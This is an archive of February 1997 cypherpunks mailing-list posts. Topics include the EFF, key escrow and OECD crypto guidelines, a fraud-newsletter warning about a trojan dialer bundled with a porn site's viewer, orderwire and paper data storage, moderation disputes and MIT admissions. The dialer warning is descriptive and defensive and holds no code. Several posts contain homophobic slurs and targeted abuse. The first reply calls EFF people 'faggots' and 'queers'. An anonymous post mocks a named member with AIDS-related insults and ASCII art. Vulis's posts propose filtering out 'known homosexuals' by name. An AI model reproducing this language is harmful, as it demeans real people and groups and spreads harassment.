Message-ID: <Pine.LNX.3.95.970205034418.13399A-100000@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain


On Tue, 4 Feb 1997, Dave Hayes wrote:

> Steve Boursey writes:
> >   Well EFF itself is a lie--the were very well exposed by Wired Mag. a
> > while back as being nothing more than a corporate whore.  They represent
> > the interests of owners not consumers--the ACLU has been very open
> > in their critisism of the EFF in this regard.  A large corporation
> > waves some money in front of their noses and tells them to bend
> > over you can be sure they'll bend over.  
> 

Actually, the EFF is meaningless, and not worth discussing.
It was just a bunch of hippy faggots that got financed by the
greatfull dead, and since the greatfull dead died, the EFF should
just also die.  I mean come ON, with queers at the organization,
NOBODY is going to give it any credibility.

> It's not clear from where I sit that the EFF is intrinsically evil.  A

But it has John Gilmore there, and he is the evil censor.

> case can be argued for their initial good intentions followed by the
> subsequent poisoning of this intent by people with lots of money. Of
> course, -any- organization is as susceptable to infiltration as their
> weakest member.
> 
> > Respectable free speech advocates do not associate with EFF.
> 
> If one is going to advocate free speech, I strongly suggest one
> learns to deal with one's own greed and one's own need for power
> first. 

Greed and avarice may be bad, but wealth and control are good.
The power must always go to those who do not "need" it but who know
how to use it.  Not everybody is qualified to carry a gun.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@zifi.genetics.utah.edu (Anonymous)
Date: Wed, 5 Feb 1997 02:50:31 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: [ADMINISTRIVIUM] Extradition treaties
Message-ID: <199702051050.DAA06534@zifi.genetics.utah.edu>
MIME-Version: 1.0
Content-Type: text/plain


Drunkard Vilest K>rap<OTM wears satin lingerie embroidered with
pink swastikas, prancing around for his faggot, AIDS infected
lovers.

   |\     \ \ \ \ \ \ \      __
   |  \    \ \ \ \ \ \ \   | O~-_ Drunkard Vilest K>rap<OTM
   |   >----|-|-|-|-|-|-|--|  __/
   |  /    / / / / / / /   |__\
   |/     / / / / / / /






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Robert Rothenburg 'Walking-Owl'" <WlkngOwl@unix.asb.com>
Date: Wed, 5 Feb 1997 02:16:51 -0800 (PST)
To: cypherpunks@toad.com
Subject: Letter Re: Kahn Supporting GAK
Message-ID: <199702051015.FAA26085@unix.asb.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

My letter to Long Island Newsday regarding David Kahn's pro-GAK
editorial was published today. You can read it at

    http://www.newsday.com/mainnews/rnmi052u.htm

What's odd (?) is how they editied it. I directed my comments toward
Mr. Kahn's views, which they changed to "Newsday" (odd, since I've
never seen them print an editorial one way or another on GAK; does
this mean they are taking a stand? -- Kahn is an editor at Newsday).

I wrote "The greatest flaw in the argument is it's very reason,
'criminals... are increasingly using encryption to conceal their plans
and activities'" which they changed to "It reports...". I never
considered an op-ed piece as "reporting", even if it states a fact.

The following paragraph

  There are also a variety of technical problems associated with
  escrowing encryption keys, mainly, how to do so securely? A single
  `backdoor key' (or set of keys) for a popular product can become an
  easy target for crackers who can jeopardize the security of an
  entire system. Software can be easily hacked to disable or damage
  the key escrow features, and there are techniques to hide even the
  presence of a message in something innocuous as a digitized image.
  (Mr. Kahn seems to have forgotten to mention that the FBI not only
  wants to overhear cellular phone conversations but also read E-mail
  and any other encrypted files people have.)

was changed to just

   There are also several technical problems associated with escrowing
   encryption keys, mainly, how  to do so securely. 

They did leave the last two paragraphs relatively intact, though.

Yeah, yeah... the piece could have been much longer & detailed, but
it's only a letter to the editor...

- --Rob

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-----
"The word to kill ain't dirty     | Robert Rothenburg (WlkngOwl@unix.asb.com)
 I used it in the last line       | http://www.asb.com/usr/wlkngowl/
 but use a short word for lovin'  | Se habla PGP:  Reply with the subject
 and dad you wind up doin' time." | 'send pgp-key' for my public key.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Wed, 5 Feb 1997 07:12:18 -0800 (PST)
To: Anil Das <das@sgi.com>
Subject: Re: AltaVista Tunnel
In-Reply-To: <5d7v6a$baq@fido.asd.sgi.com>
Message-ID: <32F8A300.52A7@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


Anil Das wrote:
> Rick Osborne wrote:
> > He triumphantly exclaimed that the encryption was 128-bit, but when
> > I said "128-bit what?" he cowered and muttered that he didn't know and went
> > on with his little speech.  The rest of my crypto-specific questions met
> > with equal dark stares.  And these are the people setting industry standards...

> I should be happy that you are bashing a competitor and all, but give
> them a break, OK? The marketing dweeb who has to do product pitches
> on roadshows is not the same as the design engineer who designs the
> system and sets technical standards. There can be a big difference in
> technical knowledge about the product, and even basic competency,
> between the two.

HP in their first 17 years of making personal computers always sent
real engineers along with salespeople to their product rollouts.

Starting in late 1983 with their first MS-DOS computer, they did a
180-degree and eliminated the engineers, and started sending people
who knew nothing about HP products, which is bad in the sense that
some folks wanted to know "Why should I buy HP when I can get the
real thing, i.e. IBM"?  As a sales manager, I always had a hard time
with that one.  I blame HP in retrospect, for a moron mentality in
their marketing department.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Wed, 5 Feb 1997 08:16:14 -0800 (PST)
To: cypherpunks@toad.com
Subject: No Subject
Message-ID: <199702051616.IAA13843@mailmasher.com>
MIME-Version: 1.0
Content-Type: text/plain



IDEA vs DES vs Blowfish vs RSAREF
Which of these symmetric algorithms are the hardest to break and what are their characteristics.


//Anon





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Wed, 5 Feb 1997 05:23:49 -0800 (PST)
To: cypherpunks@toad.com
Subject: OECD Waffles
Message-ID: <1.5.4.32.19970205131807.006cd434@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain


2-4-97. Reuters:

Global group fails to endorse Clinton encryption plan 

Washington: An influential economic research group is preparing 
guidelines on computer encryption for its member countries but 
will duck some of the most contentious issues involved, according 
to a draft obtained by Reuters.

The Clinton administration, seeking to rally support for its 
controversial policy on exporting encryption products -- which 
encode and decode e-mail and other computerized messages -- failed 
to win an endorsement from the Organisation for Economic Cooperation 
and Development (OECD), although the group did discuss the
administration's approach.

On perhaps the most difficult issue, the draft guidelines do not 
favour or oppose a requirement in the U.S. policy that data-scrambling 
encryption programmes provide a way for law enforcement officials to 
obtain keys to crack the codes when necessary.

After indicating that governments should carefully weigh the costs and 
benefits of imposing so-called key recovery, the draft report said, 
"this principle should not be interpreted as implying that governments 
should, or should not, initiate legislation that would allow lawful 
access."

On all the controversial areas in the draft, "the member countries of 
the OECD have strongly held views but they don't always coincide," 
John Dryden, head of the group's Information, Computer and Communications 
Policy division, said in a telephone interview from Paris.

Some countries see widespread use of encryption as a way to protect the 
privacy of computer users and businesses, thereby encouraging global 
commerce, Dryden said. But others see encryption as possibly thwarting 
law enforcement's efforts to catch riminals and global terrorists, he 
said.

The guidelines suggest encryption users should have access to products 
that meet their needs. Government controls should be "no more than are 
essential to the discharge of government responsibilities."

Instead of reconciling the different views, the draft guidelines lay out 
competing interests and approaches.

"It's not in itself a cryptography policy and it's not an attempt to 
draft a model national law that we're encouraging people to adopt," 
Dryden said. Cryptography refers to products and systems used in 
encryption.

The guidelines also suggest encryption standards and usage should be 
"determined by the market in an open and competitive environment."

"There's a strong view that the private sector should have the 
possibility to use information networks to the best of their potential 
in order to create growth and jobs," Dryden said.

U.S. officials who have seen the preliminary draft praised the guidelines. 
"They're an important and helpful step forward," Undersecretary of 
Commerce William Reinsch said.

"They're helpful because they put down on paper the proper foundation for 
getting into this," he added.

Reinsch said most countries will follow the U.S. lead and require 
so-called key recovery features for law enforcement. Under the Clinton 
policy, domestic use of encryption is not regulated but the strongest 
coding products cannot be exported unless they include key recovery.

U.S. companies that have opposed the Clinton policy, contending it stifles 
their ability to compete with unfettered foreign firms, drew little solace 
from the draft guidelines.

"This is not helpful," said Netscape Communications Corp.'s public policy 
counsel, Peter Harter. Netscape and other companies preferred stronger 
language endorsing free-market policies, he said.

The draft guidelines, approved by a group of government and private-sector 
experts at a meeting at the end of January, still must be approved by a 
top-level OECD officials from the group's 29 member countries, including 
the United States.

----- 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: pdh@best.com (Peter Hendrickson)
Date: Wed, 5 Feb 1997 08:24:59 -0800 (PST)
To: Greg Broiles <cypherpunks@toad.com
Subject: Re: Cypherpunks FOIA request
Message-ID: <v02140b02af1e62001772@[206.184.192.27]>
MIME-Version: 1.0
Content-Type: text/plain


At 12:40 AM 2/5/1997, Greg Broiles wrote:
> On 1/18/97, I sent freedom of information act requests to the FBI (main and
> San Francisco offices), CIA, NSA, and Secret Service, asking them for copies
> of information in their files relating to or referring to the cypherpunks
> list, the cypherpunks meetings, and copies of any messages sent from or to
> "cypherpunks@toad.com".

> To date, I have received three responses: one from the SF office of the FBI,
> indicating that they have no records responsive to my request; one from the
> NSA, indicating that they are processing my request, and one from the Secret
> Service, asking for a copy of my signature. (I've got no clue why they want
> that; unless I screwed up, I believe my initial request was signed.)

Have these organizations been known to lie?  What penalties does
the organization or its employees face when they do so?  Have these
penalties ever been applied?

Also, which exceptions in the FOIA law would allow them to respond
dishonestly?

Inquiring minds want to know!

Peter Hendrickson
pdh@best.com






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Wed, 5 Feb 1997 05:34:38 -0800 (PST)
To: cypherpunks@toad.com
Subject: 'Total Recall' Come True!
Message-ID: <1.5.4.32.19970205132857.006d9388@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain


Major Organizations Are Experimenting With Computer Chip Implants in
Humans, According to EE Times Special Report

Manhasset, N.Y., Feb. 4 -- The implantation of computer chips into 
humans and animals is now actively being funded, researched and 
experimented by major institutions such as Stanford University, 
British Telecom, the National Institute of Health (NIH) and major 
corporations, according to the first of a two-part special report 
published by EE Times (http://www.eet.com). Although the work is 
drawing fire from civil libertarians and conspiracy theorists, among 
others, many scientists and physicians defend the work for its 
potential to ease suffering.

"It's 'Total Recall' come true! Our in-depth look into this state-of-
the- art research reveals that the mix of electrical engineering and 
medical technologies to surgically implant computer chip-driven devices 
is here today -- a micro chip implant is simply one step beyond a 
pacemaker," said EE Times Internet Editor Larry Lange.

According to the EE Times report, Mitsubishi Electric Corp. (Tokyo) 
recently developed a low-cost input device that can recognize human 
movement and convert it to commands for use in software applications. 
This device is expected to find its way into tools used by people with 
disabilities. On other fronts, the semiconductor research lab at 
Motorola Inc. is working on body-embedded electronic blood-sensors that 
may one day allow diabetics to measure their blood sugar levels without 
ever drawing a drop of blood.

The special report, appearing in next week issue in print and online, 
looks at additional areas of research and the differing reactions to it.

-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Wed, 5 Feb 1997 05:44:12 -0800 (PST)
To: cypherpunks@toad.com
Subject: NFIC Warning About Sexygirls web site
Message-ID: <v0300782aaf1e3db1840f@[139.167.130.248]>
MIME-Version: 1.0
Content-Type: text/plain


I had to laugh when I read this...

Cheers,
Bob Hettinga

--- begin forwarded text


X-Sender: themet@pop.mindspring.com
Mime-Version: 1.0
Date: Wed, 5 Feb 1997 01:50:36 -0800
To: fraudnews@silverquick.com
From: Mark Taylor <themet@mindspring.com>
Subject: NFIC Warning About Sexygirls web site
Reply to: Mark Taylor <themet@mindspring.com>


Here is an interesting twist on how some crafty scamsters can
rack up money on your phone bill
===========
National Fraud Information Center

Monday, February 4, 1997

PORNO SURPRISE

Consumers who visited a pornographic website
(www.sexygirls.com) last month got a big surprise on their
phone bills. After a few teaser pictures, surfer was told
he/she needed to download a special program to view the
archived images. That program was actually a viewer with an
entire communications suite hidden deep inside (a non-self
propogating
Trojan Horse). The program disconnected user from his/her ISPs,
shut off the volume on the modem if it was computer controlled,
and dialed a number in Moldova -- a small, former republic of
the Soviet Union wedged in between the Ukraine and Romania. All
the while the consumer was on the website, and even if he/she
then browsed other sites on the World Wide Web, the Internet
access was being provided through the Moldova number, resulting
in huge international phone charges! Consumers didn't know that
until their phone bills arrived. According to the Toronto Star
Business Reporter, there are Canadian reports of bills into the
thousands.

The Toronto star also reports that the Royal Canadian Mounted
Police has requested all calls from Canada to that number in
Moldova be blocked. Bell Canada is attempting to provide relief
for Canadian consumers.

US consumers should contact their long distance providers if
they find these unexpected charges on their bill.

The RCMP has also required the owners of sexygirls.com to place
a disclaimer on the site, alerting consumers to the presence of
the communications software in the viewer. The disclaimer also
tells consumers how to disconnect if they do not wish to use
the server in Moldava.

In November, Internet Fraud Watch warned consumers concerning
the possible dangers of downloading programs over the Internet.
Some tips:

       Don't download unnecessary items. If it's just a piece
of razzle-dazzle, don't bother. It will only take up space on
your hard drive and perform no useful function. If there's no
gain for you from the program, there's no reason to take a
risk.

       Only download from sites you know and trust. While even
a major corporations site can sometimes have a viral
infection, a lone programmer might be using an attractive piece
of code as a delivery vehicle for his pet virus.

       Don't download material directly onto a computer network
at work. First download it onto a stand alone PC. Test  it out.
Make sure it doesn't have any malicious side-effects. Check
that machine for known viruses. Only at that point should you
install the downloaded program on a networked machine.

       If you feel you must download files, keep track of what
files you have on your system and what files are created during
a program installation. That way you can easily uninstall any
program if you find it to be undesirable. This also helps in
detecting new installed files that aren't supposed to be there.

Remember, your main worry is an executable file (i.e. a program
or application). Despite what you hear all over the Internet,
you cannot get a virus from a piece of e-mail.

If you are having a problem with calls to Moldova, the
connection will only be made if you attempt to use the viewer.
If you try to use the viewer, shut down your machine after you
are finished at that site. If you wish to remove the viewer
altogether, the file name is david.exe (for IBM users). If you
are in Windows, it should be in your program folder.



	FraudNews is owned and published by :
	Mark Taylor: themet@mindspring.com

All material published is copyright.It must not be reproduced
in any form without the express permission of of the owner.

=============================================================
This Newsletter is broadcast using the List and Newsletter
Management facilities of Silverquick Communications
You may subscribe to FraudNews and the Fraud-Discuss lists on
the web pages at : http://www.silverquick.com
=============================================================

--- end forwarded text



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"Never attribute to conspiracy what can be
explained by stupidity." -- Jerry Pournelle
The e$ Home Page: http://www.shipwright.com/rah/
FC97: Anguilla, anyone? http://www.ai/fc97/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: doelke@rockdal.aud.alcatel.com (Daniel R. Oelke)
Date: Wed, 5 Feb 1997 07:35:59 -0800 (PST)
To: azur@netcom.com
Subject: Re: BA Crypto Machine Photos
Message-ID: <199702051456.IAA15006@spirit.aud.alcatel.com>
MIME-Version: 1.0
Content-Type: text/plain


> 
> >BTW, does anyone know the meaning of 'order wire mode' in the context of a
> >crypto broadcast? This mode is found in the KWR-37 online crypto
> >receiver. Please send all photo requests or responses via private E-mail.
> 
> If it means the same thing as in the telecom industry, its an out-of-band
> (often analof) channel between two locations connected by wide-band (e.g.,
> T1) facilities.  Its primary purpose is to provide service personnel, at
> each end point, the ability to converse with one another while performing
> work on that link.
> 

I would also guess it might be something similar to the orderwire in
the telecom industry.  I am more familiar with digital orderwire systems,
but orderwires are generally all similar.  You have a communications 
link, and some overhead on that link is dedicated to providing 
a voice channel for communications between sites so that people
working on the line can communicate with each other.

In a crypto system - I could see that the orderwire might be a
in-the-clear transmission as part of the overhead so that people at 
each end of a hop can figure out why the data (i.e. encrypted) portion
isn't getting through.

Dan
------------------------------------------------------------------
Dan Oelke                                  Alcatel Network Systems
droelke@aud.alcatel.com                             Richardson, TX





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: azur@netcom.com (Steve Schear)
Date: Wed, 5 Feb 1997 09:25:15 -0800 (PST)
To: jim bell <jimbell@pacifier.com>
Subject: ITAR and Paper ROM
Message-ID: <v02140b07af1e6d0de3b5@[10.0.2.15]>
MIME-Version: 1.0
Content-Type: text/plain


>Given that high-density inkjet printers can do 600x600 dpi resolution, it
>should be possible to achieve the equivalent of 100x100 bpi of
>easily-recoverable data on ordinary paper.  That's about 800 kilobits, or
>100 kilobytes.   What does ITAR say about this?
>
>
>Jim Bell
>jimbell@pacifier.com

I'm not sure if what I did in the 80s, trying to create what I called
'paper ROM, is applicable.  In these investigations I used matricies of
small (1-3 mm) squares of gray (16 levels) or color (64 levels) with a mind
to replace diskettes for inexpensive mass data distribution.  I was able to
reliably get 100-200 KB/page side using standard offset printing.  With
modern ink-jet/laser printers you should be able to reliably get at least
10-50KB/page side. Although a technical success, I abandoned the effort
when I discovered someone had patented (4,488,679) something similar a few
years earlier.

-- Steve






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jason Vagner <jlv@sig.bsh.com>
Date: Wed, 5 Feb 1997 06:35:09 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Moderation, Tim, Sandy, me, etc. * Strong crypto == DES?!
In-Reply-To: <199702050726.XAA18124@toad.com>
Message-ID: <Pine.SGI.3.95.970205093158.26227B-100000@dev.sig.bsh.com>
MIME-Version: 1.0
Content-Type: text/plain



   >Re: the below.  Easily the best and most intelligent suggestion so
   >far.  Why couldn't Sandy and John with all their experience think
   >of this?

Actually, I've been sitting on the sidelines, somewhat bemused, that
this far into online living the cypherpunks have to rehash this
themselves. I've seen this entire exchange at least three times in
the last two years. None of the lists survived. Good luck..

   >> If I might make a suggestion:
   >> Some people want moderation. That's fine, I've never been very big on
   >> letting other people choose what I read, but some people want it.
   >> For those who want it, let someone moderate the list for as long as
   >> they care to do it. Approved messages get a "X-sandy-approved"
   >> header. The responsibility for setting up a filter to toss everything
   >> that doesn't have the header is the responsibility of the end user.
   >> Toad will need to filter incoming posts to make sure they don't come
   >> "pre-approved", but that's the only hole I can think of.
   >> Everyone gets all of the Cypherpunks list. Those who want moderation
   >> filter the unapproved posts, those who want all of it get all of it.
   >> Hopefully, this will make (almost) everyone happy.

---

  Jason Vagner <jlv@sig.bsh.com> Resist KRAP and GAK. Police States 
  Are Bad. "All that one can give is what is going to happen, which may 
  have little to do with a present that you can grasp." - Avital Ronell.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anil Das <das@sgi.com>
Date: Wed, 5 Feb 1997 09:51:04 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: "alt.cypherpunks" people?
In-Reply-To: <5dafe2$hdk@fido.asd.sgi.com>
Message-ID: <32F8C86E.15FB@sgi.com>
MIME-Version: 1.0
Content-Type: text/plain


Dr.Dimitri Vulis KOTM wrote:
> 
> Learn to use an anonymous remailer.

Thanks for the hint, Dr. Vulis. I have registered for a course, but
seats are available only in fall.

-- 
Anil Das




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Marshall Clow <mclow@owl.csusm.edu>
Date: Wed, 5 Feb 1997 09:56:09 -0800 (PST)
To: John Young <jya@pipeline.com>
Subject: Re: OECD Waffles
In-Reply-To: <199702051526.HAA28804@toad.com>
Message-ID: <v03101400af1e76d76686@[207.67.246.99]>
MIME-Version: 1.0
Content-Type: text/plain


>2-4-97. Reuters:
>
>Global group fails to endorse Clinton encryption plan
>
>Washington: An influential economic research group is preparing
>guidelines on computer encryption for its member countries but
>will duck some of the most contentious issues involved, according
>to a draft obtained by Reuters.
>
[snip]

Gee, that's funny....

I could have sworn I heard the Hon. Abassador Aaron tell us last week
that the US had "strong international support" for its' key
recovery programs, especially from the OECD.

Here's a quote from an earlier Reuters article:

>   Wednesday January 29 3:26 PM EST
>
>U.S. Encryption Envoy Seeks Industry Cooperation
>
>   SAN FRANCISCO - The Clinton administration's newly named point man on
>   encryption policy is citing international support for U.S. policies
>   limiting use of encryption and called for industry cooperation.
>
>   Ambassador David Aaron, special envoy for cryptography, said on a
>   speech to the RSA Data Security Conference in San Francisco that U.S.
>   allies support the concept of lawful access by governments and the use
>   of key recovery mechanisms.


and a quote from the NY Times:

>The New York Times, January 29, 1997, p. D19.
>
>
> Consensus Sought on Computer Coding
>
> By John Markoff
>
> San Francisco -- The Clinton administration's top overseas representative
> on cryptography -- or data scrambling -- told a group of skeptical
> computer industry executives and technical experts Tuesday that important
> allies support the administration's position that governments should have
> access-coded computer files and digital communications.
>
> The speech by David L. Aaron, made on the opening day of a computer
> security conference, was part of a renewed effort by the administration
> to gain broad support for its efforts to control data-scrambling
> technologies, which are increasingly viewed as crucial components of
> electronic commerce and communications.

I am shocked, SHOCKED, I say, that a representative of our government
would mislead us in this way.

-- Marshall

Marshall Clow     Aladdin Systems   <mailto:mclow@mailhost2.csusm.edu>

Warning: Objects in calendar are closer than they appear.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Wed, 5 Feb 1997 08:28:53 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: If guilty of a lesser crime, you can be sentenced for a greater
In-Reply-To: <199702041441.GAA28349@toad.com>
Message-ID: <NDRN2D1w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Dale Thorn <dthorn@gte.net> writes:

> Igor Chudov @ home wrote:
> > Dale Thorn wrote:
> > > Igor Chudov @ home wrote:
> 
> > > people who have such money are not going to bump off very many more
> > > people than they already do, because:
> > > 1. They need the people to make money off of (Mafia rule #4, never
> > >    kill someone who owes you money [or is a money source]).
> 
> > This is a wrong Mafia rule, they do kill debtors who are in default.
> 
> Really?  Then how do they collect their money?  BTW, I heard the rule
> from the mouth of a real mob hitman.
mafia used to have a habit of hiring some lonely person do do work for them
(such as, set up their crypto infrastructure), then make him disappear, and he
won' be missed, and they won't have to pay for the work.  Bumping off the people
that you owe money to is bad for one's rep. I'd be reluctant to do consulting
for organized crime for this reason. Perhaps that's why the Feds have such easy
time wiretapping them. :-)

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Wed, 5 Feb 1997 08:37:09 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Information Warfare
In-Reply-To: <199702041458.GAA28816@toad.com>
Message-ID: <gmRN2D3w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


"tmcghan@mail.bcpl.lib.md.us" <tmcghan@mail.bcpl.lib.md.us> writes:

> in a message allegedly from:  Peter Hendrickson <pdh@best.com>
> 
> > The cypherpunks list has been under "attack" for some time.
> {snip}
> > Some people have dismissed the idea that rogue governmental elements
> > are behind some of our problems.
> {snip}
> > We know that "Information Warfare" is the big thing in the defense
> > establishment right now.
> 
> Information Warfare Conference
> sponsored by DPMA/AITP
> 
> Washington, DC, March 13-14, 1997
> Crystal City Marriott
> 1999 Jefferson Davis Highway
> Arlington, VA  22202
> 
> Presentations by:
> Major General Michael V. Hayden, Commander, Air Intelligence Agency
> Dr. C. Kenneth Allard, Competitive Strategies
> Col. H. Stevens, Land Information Warfare Activity
> 
> - current service visions and planned program initiatives
> - operational concepts for 'third-wave' warfare
> - information warfare drivers for 21st century C4I architectures
> - emerging technologies and systems for information warfare 
> superiority: opportunities on the horizon
> 
> 'information warfare targets and vulnerabilities', Maxim I. Kovel,
>  TASC systems management group
> 
> 'information warfare for deterrence', William H.J. Manthorpe, Jr.
> Applied Physics Laboratory, Johns Hopkins
> 
> 'adaptive techniques for counter-deception', James Llinas,
> technical advisor, DOD JDL, Data Fusion group
> 
> 'emerging threats come in all sizes and flavors', Eugene Schultz, SRI
> consulting
> 
> "Information has been termed the 'fifth dimension' in the conduct of 
> 'third-wave' warfare, and promises to dramatically enhance the role 
> of C4I as a force multiplier.  Joint and individual service doctrine 
> is emerging for IW, ans is affecting the needs and requirements for 
> diverse systems:  from space-based surveillance and communications 
> systems to terrestrial image processing, visualization, and 
> information fusion systems."
> 
> "This conference will provide a valuable forum where military and 
> industry staff can interact with key decision-makers to achieve the 
> most current possible understanding of Information Warfare concepts, 
> initiatives, technologies and potential opportunities.  The Critical 
> Questions to be addressed include:
> 
> - how is IW changing operational concepts?
> - how can we defend the weak links in the planned 
> information-intensive reconnaissance, strike, targeting architecture?
> - what developments in enabling technologies are needed to support 
> current Information Operations, Battlefield Visualization, and 
> Information Exploitation initiatives?
> -what can be done to develop defensive information technology 
> capabilities?
> 
>             and last, but _c_e_r_t_a_i_n_l_y_ not least:
> 
> - how will we move forward to develop a true offensive IW capability
> 
> ==============================================
> 

Many of my f2f meetings with the people on and around this mailing lists were
at the InfoWarCon's. It's no secret that my research interests include IW (with
PsyOps and DOS). And what was Gilmore (spit, fart) doing there?

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Wed, 5 Feb 1997 08:28:25 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Moderation [Tim,Sandy]
In-Reply-To: <32F81349.6156@gte.net>
Message-ID: <wVRN2D4w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Dale Thorn <dthorn@gte.net> writes:

> Dr.Dimitri Vulis KOTM wrote:
> > Dale Thorn <dthorn@gte.net> writes:
> 
> > > The drunk can be excluded, but when someone wants to use the drunk as
> > > an example to escalate the exclusion to other persons who are not in
> > > fact drunk, watch out!
> 
> > If I get really really drunk, which happens very seldom, then I'm
> > too drunk to post. I don't mind an occasional beer, though.
> 
> > Oksas, have you ever tried beer? :-)
> 
> I had my first beer(s) in three years at one of those industrial
> parties last night.  It made the craps table action seem a bit
> merrier, and the girls were friendlier too.
> 

I like an occasional Coors Lite.  BTW I think Limey Faggots are right about
one think: I like room-temperature beer better than cold beer. YMMV.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Wed, 5 Feb 1997 08:28:05 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: A Vote of Silence for Human Gus-Peter
In-Reply-To: <199702050740.XAA18537@toad.com>
Message-ID: <73RN2D5w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Larry Johnson <lwjohnson@grill.sk.ca> writes:

> I want to be the new modernator so anyone who wants me to be it can
> not send any messages, ok?
> So any people who dont send messages are voting for me, ok?
> 
> (If I am modernator I will give everyone free pizza and Schotch.)
> 
> Ok. Now evceryone vote, ok?
> 
> Human Gus-Peter
> 
> 

I volunteer to moderate cypherpunks@toad.com.

I'll use a 'bot (like Sandy uses a 'bot) to junk submissions from Gilmore,
Sandfart, and other known homosexuals, and pass on everything else.

It'll probably have better S/N that Sandy's censored list does now.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Wed, 5 Feb 1997 08:22:52 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: "alt.cypherpunks" people?
In-Reply-To: <199702050725.XAA18012@toad.com>
Message-ID: <0esN2D6w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Anil Das <das@sgi.com> writes:

> Adam Back wrote:
> > 
> > What do people think of starting an alt.cypherpunks USENET newsgroup?
> > 
> 
> I have only one objection. I will never post to an Usenet group
> under my real email address for fear of ending up in spammer
> databases.
> 
> -- 
> Anil Das
> 

Learn to use an anonymous remailer.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Wed, 5 Feb 1997 08:37:28 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Getting into MIT is impossible
In-Reply-To: <199702050728.XAA18191@toad.com>
Message-ID: <iPsN2D10w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


jim bell <jimbell@pacifier.com> writes:

> Erland van Lidth de Jeude is a MIT grad.  He played the big badass in "Stir 
> Crazy."  Computer science major, BTW.
> 
> 
> 
> 
> At 07:37 PM 2/3/97 -0800, Clint Barnett wrote:
> >wasn't Dolph Lundgren an MIT grad? I seem to remember something about him 
> >having a degree in Chemical Engineering  or something along those lines. 
> >
> >clint barnett
> >lord of the cosmos
> >emily carr institute
> >
> >On Wed, 29 Jan 1997, Anonymous wrote:
> >
> >> 
> >> 
> >> According to Rick Osborne:
> >> 
> >> "I disagree and can speak from experience.  I was denied admission to MIT
> >> even thought I had a 3.82 GPA, 1440 SAT (one try), and had taken 9 AP test
> >> with two 5's, four 4's, two 3's, and one 2.  As for being well-rounded, I
> >> was on several academic teams, sang in Chorus, acted and stage managed in
> >> Drama, and played Tennis."
> >> 
> >> People get into MIT--or don't get into MIT--for lots of reasons. Most
> >> intelligent people apply to several schools, knowing that admissions
> >> practices are subject to the vagaries of reality.
> >> 
> >> In my case, my SATs were about 1500, with some 800s in achievement tests.
> >> And the usual bullshit high school clubs, political offices, etc. etc. I
> >> was accepted by MIT, but not by Caltech. I didn't lose any sleep over the
> >> way things turned out.
> >> 
> >> And I decided not to go to MIT, either.
> >> 
> >> "The only thing I didn't have that the next MIT applicant had was money.  
